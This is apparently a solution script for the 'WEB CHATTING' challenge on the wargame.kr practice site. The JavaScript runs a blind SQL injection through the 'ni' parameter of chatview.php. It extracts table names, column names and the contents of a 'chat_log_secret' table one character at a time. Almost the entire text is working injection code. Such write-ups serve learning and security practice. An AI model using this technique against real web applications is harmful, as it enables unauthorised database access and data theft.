wargame.kr_WEB CHATTING

var index = 126
var index2 = 1
var xmlhttp = new XMLHttpRequest()
var timer
var list = new Array()
var start = setInterval(function(){}, 100000)
for(var i = 0; i < start; i++) clearInterval(i)

function send(input){
    var pdata="chatlog.php?"+"data="+input;
    xmlhttp.open("GET",pdata);
    xmlhttp.send(null);
}

function chatprint(){
    if(xmlhttp.readyState==4 && xmlhttp.status==200){
        var temp=xmlhttp.responseText;
        if(temp == '') index--;
        else { list.push(index); index = 126; index2++; console.log(list); }
        if(index == 0) clearInterval(timer);
    }
}

function show(n){
    //List Tables
    //var query = "(select if("+index+"=ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema != 0x696e666f726d6174696f6e5f736368656d61 limit "+n+", 1),"+index2+",1)),"+(ni-1)+","+ni+"))"
    //List Columns
    //var query = "(select if("+index+"=ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name = 0x636861745f6c6f675f736563726574 limit "+n+", 1),"+index2+",1)),"+(ni-1)+","+ni+"))"
    //Read data
    var query = "(select if("+index+"=ascii(substr((SELECT readme FROM chat_log_secret limit "+n+", 1),"+index2+",1)),"+(ni-1)+","+ni+"))"
    xmlhttp.onreadystatechange=chatprint;
    xmlhttp.open("GET","chatview.php?t=1&ni="+query);
    xmlhttp.send(null);
}

timer = setInterval(function(){show(0)}, 800);